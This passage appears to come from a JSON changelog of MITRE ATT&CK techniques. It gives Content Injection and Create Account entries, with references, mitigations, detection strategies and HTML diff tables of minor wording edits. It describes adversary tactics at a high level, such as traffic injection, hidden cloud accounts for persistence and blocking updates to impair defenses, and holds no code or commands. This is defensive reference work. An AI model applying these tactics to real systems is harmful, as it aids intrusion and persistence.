nowrap=\"nowrap\">itation:&nbsp;ESET&nbsp;FontOnLake&nbsp;Analysis&nbsp;2021)&nbsp;&nbsp;After&nbsp;modifying&nbsp;a&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nary,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;attempt&nbsp;to&nbsp;impair&nbsp;defenses&nbsp;by&nbsp;prevent</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">inary,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;attempt&nbsp;to&nbsp;impair&nbsp;defenses&nbsp;by&nbsp;preven</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;it&nbsp;from&nbsp;updating&nbsp;(e.g.,&nbsp;via&nbsp;the&nbsp;`yum-versionlock`&nbsp;comman</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ting&nbsp;it&nbsp;from&nbsp;updating&nbsp;(e.g.,&nbsp;via&nbsp;the&nbsp;`yum-versionlock`&nbsp;comma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;or&nbsp;`versionlock.list`&nbsp;file&nbsp;in&nbsp;Linux&nbsp;systems&nbsp;that&nbsp;use&nbsp;the&nbsp;y</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;or&nbsp;`versionlock.list`&nbsp;file&nbsp;in&nbsp;Linux&nbsp;systems&nbsp;that&nbsp;use&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">um&nbsp;package&nbsp;manager).(Citation:&nbsp;Google&nbsp;Cloud&nbsp;Mandiant&nbsp;UNC3886</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">yum&nbsp;package&nbsp;manager).(Citation:&nbsp;Google&nbsp;Cloud&nbsp;Mandiant&nbsp;UNC388</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;2024)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">6&nbsp;2024)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1045: Code Signing"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0336: Detect Compromise of Host Software Binaries"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2023-09-01 21:03:13.406000+00:00",
                    "modified": "2026-11-04 01:14:47.508000+00:00",
                    "name": "Content Injection",
                    "description": "Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)\n\nAdversaries may inject content to victim systems in various ways, including:\n\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment)(Citation: Kaspersky Encyclopedia MiTM)\n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server(Citation: Kaspersky ManOnTheSide)\n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "initial-access"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "command-and-control"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1659",
                            "external_id": "T1659"
                        },
                        {
                            "source_name": "EFF China GitHub Attack",
                            "description": "Budington, B. (2015, April 2). China Uses Unencrypted Websites to Hijack Browsers in GitHub Attack. Retrieved September 1, 2023.",
                            "url": "https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack"
                        },
                        {
                            "source_name": "ESET MoustachedBouncer",
                            "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 1, 2023.",
                            "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"
                        },
                        {
                            "source_name": "Kaspersky Encyclopedia MiTM",
                            "description": "Kaspersky IT Encyclopedia. (n.d.). Man-in-the-middle attack. Retrieved September 1, 2023.",
                            "url": "https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/"
                        },
                        {
                            "source_name": "Kaspersky ManOnTheSide",
                            "description": "Starikova, A. (2023, February 14). Man-on-the-side \u2013 peculiar attack. Retrieved September 1, 2023.",
                            "url": "https://usa.kaspersky.com/blog/man-on-the-side/27854/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:14:47.508000+00:00\", \"old_value\": \"2025-04-15 22:10:29.343000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)\\n\\nAdversaries may inject content to victim systems in various ways, including:\\n\\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment)(Citation: Kaspersky Encyclopedia MiTM)\\n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server(Citation: Kaspersky ManOnTheSide)\\n\\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \\\"lawful interception.\\\"(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)\", \"old_value\": \"Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)\\n\\nAdversaries may inject content to victim systems in various ways, including:\\n\\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)\\n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)\\n\\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \\\"lawful interception.\\\"(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)\", \"diff\": \"--- \\n+++ \\n@@ -2,7 +2,7 @@\\n \\n Adversaries may inject content to victim systems in various ways, including:\\n \\n-* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)\\n-* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)\\n+* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment)(Citation: Kaspersky Encyclopedia MiTM)\\n+* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server(Citation: Kaspersky ManOnTheSide)\\n \\n Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \\\"lawful interception.\\\"(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to3__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to3__0\"><a href=\"#difflib_chg_to3__top\">t</a></td><td class=\"diff_header\" id=\"from3_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gain&nbsp;access&nbsp;and&nbsp;continuously&nbsp;communicate&nbsp;wit</td><td class=\"diff_next\"><a href=\"#difflib_chg_to3__top\">t</a></td><td class=\"diff_header\" id=\"to3_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gain&nbsp;access&nbsp;and&nbsp;continuously&nbsp;communicate&nbsp;wit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;victims&nbsp;by&nbsp;injecting&nbsp;malicious&nbsp;content&nbsp;into&nbsp;systems&nbsp;throug</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;victims&nbsp;by&nbsp;injecting&nbsp;malicious&nbsp;content&nbsp;into&nbsp;systems&nbsp;throug</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;online&nbsp;network&nbsp;traffic.&nbsp;Rather&nbsp;than&nbsp;luring&nbsp;victims&nbsp;to&nbsp;mali</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;online&nbsp;network&nbsp;traffic.&nbsp;Rather&nbsp;than&nbsp;luring&nbsp;victims&nbsp;to&nbsp;mali</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cious&nbsp;payloads&nbsp;hosted&nbsp;on&nbsp;a&nbsp;compromised&nbsp;website&nbsp;(i.e.,&nbsp;[Drive</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cious&nbsp;payloads&nbsp;hosted&nbsp;on&nbsp;a&nbsp;compromised&nbsp;website&nbsp;(i.e.,&nbsp;[Drive</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-by&nbsp;Target](https://attack.mitre.org/techniques/T1608/004)&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-by&nbsp;Target](https://attack.mitre.org/techniques/T1608/004)&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ollowed&nbsp;by&nbsp;[Drive-by&nbsp;Compromise](https://attack.mitre.org/te</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ollowed&nbsp;by&nbsp;[Drive-by&nbsp;Compromise](https://attack.mitre.org/te</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques/T1189)),&nbsp;adversaries&nbsp;may&nbsp;initially&nbsp;access&nbsp;victims&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques/T1189)),&nbsp;adversaries&nbsp;may&nbsp;initially&nbsp;access&nbsp;victims&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hrough&nbsp;compromised&nbsp;data-transfer&nbsp;channels&nbsp;where&nbsp;they&nbsp;can&nbsp;man</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hrough&nbsp;compromised&nbsp;data-transfer&nbsp;channels&nbsp;where&nbsp;they&nbsp;can&nbsp;man</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ipulate&nbsp;traffic&nbsp;and/or&nbsp;inject&nbsp;their&nbsp;own&nbsp;content.&nbsp;These&nbsp;compr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ipulate&nbsp;traffic&nbsp;and/or&nbsp;inject&nbsp;their&nbsp;own&nbsp;content.&nbsp;These&nbsp;compr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">omised&nbsp;online&nbsp;network&nbsp;channels&nbsp;may&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;deliver&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">omised&nbsp;online&nbsp;network&nbsp;channels&nbsp;may&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;deliver&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dditional&nbsp;payloads&nbsp;(i.e.,&nbsp;[Ingress&nbsp;Tool&nbsp;Transfer](https://at</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dditional&nbsp;payloads&nbsp;(i.e.,&nbsp;[Ingress&nbsp;Tool&nbsp;Transfer](https://at</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1105))&nbsp;and&nbsp;other&nbsp;data&nbsp;to&nbsp;already&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1105))&nbsp;and&nbsp;other&nbsp;data&nbsp;to&nbsp;already&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">compromised&nbsp;systems.(Citation:&nbsp;ESET&nbsp;MoustachedBouncer)&nbsp;&nbsp;Adve</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">compromised&nbsp;systems.(Citation:&nbsp;ESET&nbsp;MoustachedBouncer)&nbsp;&nbsp;Adve</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsaries&nbsp;may&nbsp;inject&nbsp;content&nbsp;to&nbsp;victim&nbsp;systems&nbsp;in&nbsp;various&nbsp;ways</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsaries&nbsp;may&nbsp;inject&nbsp;content&nbsp;to&nbsp;victim&nbsp;systems&nbsp;in&nbsp;various&nbsp;ways</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;including:&nbsp;&nbsp;*&nbsp;From&nbsp;the&nbsp;middle,&nbsp;where&nbsp;the&nbsp;adversary&nbsp;is&nbsp;in-b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;including:&nbsp;&nbsp;*&nbsp;From&nbsp;the&nbsp;middle,&nbsp;where&nbsp;the&nbsp;adversary&nbsp;is&nbsp;in-b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etween&nbsp;legitimate&nbsp;online&nbsp;client-server&nbsp;communications&nbsp;(**Not</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etween&nbsp;legitimate&nbsp;online&nbsp;client-server&nbsp;communications&nbsp;(**Not</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e:**&nbsp;this&nbsp;is&nbsp;similar&nbsp;but&nbsp;distinct&nbsp;from&nbsp;[Adversary-in-the-Mid</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e:**&nbsp;this&nbsp;is&nbsp;similar&nbsp;but&nbsp;distinct&nbsp;from&nbsp;[Adversary-in-the-Mid</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dle](https://attack.mitre.org/techniques/T1557),&nbsp;which&nbsp;descr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dle](https://attack.mitre.org/techniques/T1557),&nbsp;which&nbsp;descr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ibes&nbsp;AiTM&nbsp;activity&nbsp;solely&nbsp;within&nbsp;an&nbsp;enterprise&nbsp;environment)<span class=\"diff_sub\">&nbsp;</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ibes&nbsp;AiTM&nbsp;activity&nbsp;solely&nbsp;within&nbsp;an&nbsp;enterprise&nbsp;environment)(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\"></span>(Citation:&nbsp;Kaspersky&nbsp;Encyclopedia&nbsp;MiTM)&nbsp;*&nbsp;From&nbsp;the&nbsp;side,&nbsp;whe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Citation:&nbsp;Kaspersky&nbsp;Encyclopedia&nbsp;MiTM)&nbsp;*&nbsp;From&nbsp;the&nbsp;side,&nbsp;wher</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;malicious&nbsp;content&nbsp;is&nbsp;injected&nbsp;and&nbsp;races&nbsp;to&nbsp;the&nbsp;client&nbsp;as&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;malicious&nbsp;content&nbsp;is&nbsp;injected&nbsp;and&nbsp;races&nbsp;to&nbsp;the&nbsp;client&nbsp;as&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;fake&nbsp;response&nbsp;to&nbsp;requests&nbsp;of&nbsp;a&nbsp;legitimate&nbsp;online&nbsp;server<span class=\"diff_sub\">&nbsp;</span>(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;fake&nbsp;response&nbsp;to&nbsp;requests&nbsp;of&nbsp;a&nbsp;legitimate&nbsp;online&nbsp;server(Cit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Kaspersky&nbsp;ManOnTheSide)&nbsp;&nbsp;Content&nbsp;injection&nbsp;is&nbsp;often</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Kaspersky&nbsp;ManOnTheSide)&nbsp;&nbsp;Content&nbsp;injection&nbsp;is&nbsp;often&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;result&nbsp;of&nbsp;compromised&nbsp;upstream&nbsp;communication&nbsp;channels,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;result&nbsp;of&nbsp;compromised&nbsp;upstream&nbsp;communication&nbsp;channels,&nbsp;fo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;example&nbsp;at&nbsp;the&nbsp;level&nbsp;of&nbsp;an&nbsp;internet&nbsp;service&nbsp;provider&nbsp;(IS</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;example&nbsp;at&nbsp;the&nbsp;level&nbsp;of&nbsp;an&nbsp;internet&nbsp;service&nbsp;provider&nbsp;(ISP)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">P)&nbsp;as&nbsp;is&nbsp;the&nbsp;case&nbsp;with&nbsp;\"lawful&nbsp;interception.\"(Citation:&nbsp;Kasp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;as&nbsp;is&nbsp;the&nbsp;case&nbsp;with&nbsp;\"lawful&nbsp;interception.\"(Citation:&nbsp;Kasper</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersky&nbsp;ManOnTheSide)(Citation:&nbsp;ESET&nbsp;MoustachedBouncer)(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sky&nbsp;ManOnTheSide)(Citation:&nbsp;ESET&nbsp;MoustachedBouncer)(Citation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;EFF&nbsp;China&nbsp;GitHub&nbsp;Attack)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;EFF&nbsp;China&nbsp;GitHub&nbsp;Attack)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1021: Restrict Web-Based Content",
                            "M1041: Encrypt Sensitive Information"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0349: Detection Strategy for Content Injection"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-12-14 16:46:06.044000+00:00",
                    "modified": "2026-11-04 03:15:58.720000+00:00",
                    "name": "Create Account",
                    "description": "Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1136",
                            "external_id": "T1136"
                        },
                        {
                            "source_name": "Symantec WastedLocker June 2020",
                            "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.",
                            "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Microsoft Threat Intelligence Center (MSTIC)",
                        "Praetorian",
                        "Austin Clark, @c2defense"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows",
                        "IaaS",
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Containers",
                        "SaaS",
                        "Office Suite",
                        "Identity Provider",
                        "ESXi"
                    ],
                    "x_mitre_version": "2.6",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:15:58.720000+00:00\", \"old_value\": \"2025-10-24 17:49:30.136000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\\n\\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.\", \"old_value\": \"Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\\n\\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\\n+Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\\n \\n Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"Microsoft User Creation Event\", \"description\": \"Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.\", \"url\": \"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720\"}}}",
                    "previous_version": "2.6",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to158__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to158__0\"><a href=\"#difflib_chg_to158__top\">t</a></td><td class=\"diff_header\" id=\"from158_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;create&nbsp;an&nbsp;account&nbsp;to&nbsp;maintain&nbsp;access&nbsp;to&nbsp;vict</td><td class=\"diff_next\"><a href=\"#difflib_chg_to158__top\">t</a></td><td class=\"diff_header\" id=\"to158_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;create&nbsp;an&nbsp;account&nbsp;to&nbsp;maintain&nbsp;access&nbsp;to&nbsp;vict</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">im&nbsp;systems.(Citation:&nbsp;Symantec&nbsp;WastedLocker&nbsp;June&nbsp;2020)&nbsp;With&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">im&nbsp;systems.(Citation:&nbsp;Symantec&nbsp;WastedLocker&nbsp;June&nbsp;2020)&nbsp;With&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;sufficient&nbsp;level&nbsp;of&nbsp;access,&nbsp;creating&nbsp;such&nbsp;accounts&nbsp;may&nbsp;be&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 